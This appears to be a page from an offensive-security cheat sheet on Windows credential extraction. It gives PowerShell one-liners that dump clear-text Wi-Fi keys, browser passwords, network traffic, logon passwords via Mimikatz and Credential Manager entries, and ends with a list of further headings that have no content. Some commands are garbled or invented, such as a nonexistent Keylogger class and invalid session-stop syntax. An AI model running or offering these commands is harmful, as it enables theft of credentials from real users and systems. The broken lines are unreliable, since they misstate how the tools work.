githubEdit

Credential Extraction

1) Stored Credentials

$cred = Get-Credential; $cred.GetNetworkCredential() | Select-Object -Property UserName, Password

2) Capture Keystrokes

$path = 'C:\temp\keystrokes.txt'; Add-Type -AssemblyName System.Windows.Forms; $listener = New-ObjectSystem.Windows.Forms.Keylogger; [System.Windows.Forms.Application]::Run($listener); $listener.Keys | Out-File -FilePath $path

3) Wi-Fi profiles and passwords

netsh wlan show profiles | Select-String -Pattern 'All User Profile' -AllMatches | ForEach-Object { $_ -replace 'All User Profile *: ', '' } | ForEach-Object { netsh wlan show profile name="$_" key=clear }

4) Browser saved passwords

Invoke-WebBrowserPasswordDump | Out-File -FilePath C:\temp\browser_passwords.txt

5) Network Sniffing

$adapter = Get-NetAdapter | Select-Object -First 1; New-NetEventSession -Name 'Session1' -CaptureMode SaveToFile -LocalFilePath 'C:\temp\network_capture.etl'; Add-NetEventPacketCaptureProvider -SessionName 'Session1' -Level 4 -CaptureType Both -Enable; Start-NetEventSession -Name 'Session1'; Stop-NetEventSession -Name 'Session1' after 60

6) Mimikatz

Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"' | Out-File -FilePath C:\temp\logonpasswords.txt

7) Windows Credential Manager

$credman = New-Object -TypeName PSCredentialManager.Credential; $credman | Where-Object { $_.Type -eq 'Generic' } | Select-Object -Property UserName, Password

8) Retrieve passwords from files

9) Windows Services

10) RDP Credentials

11) Browser Cookies

12) IIS Application Pools

13) Configuration files

14) Scheduled Tasks

15) SSH Keys

16) Database Connection Strings

17) Windows API Keylogger

18) Windows API Clipboard Access

Last updated